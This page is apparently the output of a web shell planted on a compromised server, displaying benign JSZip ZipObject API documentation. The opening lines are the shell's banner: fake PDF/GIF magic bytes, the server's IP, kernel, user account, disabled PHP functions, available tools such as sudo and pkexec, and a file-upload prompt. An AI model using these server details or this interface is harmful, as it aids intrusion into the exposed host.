%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.162 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/backend/vendors/jszip/documentation/ |
Upload File : |
--- title: "ZipObject API" layout: default section: api --- This represents an entry in the zip file. If the entry comes from an existing archive previously [loaded]({{site.baseurl}}/documentation/api_jszip/load.html), the content will be automatically decompressed/converted first. ### Attributes attribute name | type | description ----------------------------|-------------|------------- `name` | string | the absolute path of the file `dir` | boolean | true if this is a directory `date` | date | the last modification date `comment` | string | the comment for this file `unixPermissions` | 16 bits number | The UNIX permissions of the file, if any. `dosPermissions` | 6 bits number | The DOS permissions of the file, if any. `options` | object | the options of the file. The available options are : `options.base64` | boolean | **Deprecated**, see [file(name, data [,options])]({{site.baseurl}}/documentation/api_jszip/file_data.html) `options.binary` | boolean | **Deprecated**, see [file(name, data [,options])]({{site.baseurl}}/documentation/api_jszip/file_data.html) `options.dir` | boolean | **Deprecated**, use `dir`. True if this is a directory `options.date` | date | **Deprecated**, use `date`. See [file(name, data [,options])]({{site.baseurl}}/documentation/api_jszip/file_data.html) `options.compression` | compression | see [file(name, data [,options])]({{site.baseurl}}/documentation/api_jszip/file_data.html) ### Getters method | return type | description ------------------|---------------|------------- `asText()` | string | the content as an unicode string. `asBinary()` | string | the content as binary string. `asArrayBuffer()` | ArrayBuffer | need a [compatible browser]({{site.baseurl}}/documentation/api_jszip/support.html). `asUint8Array()` | Uint8Array | need a [compatible browser]({{site.baseurl}}/documentation/api_jszip/support.html). `asNodeBuffer()` | nodejs Buffer | need [nodejs]({{site.baseurl}}/documentation/api_jszip/support.html).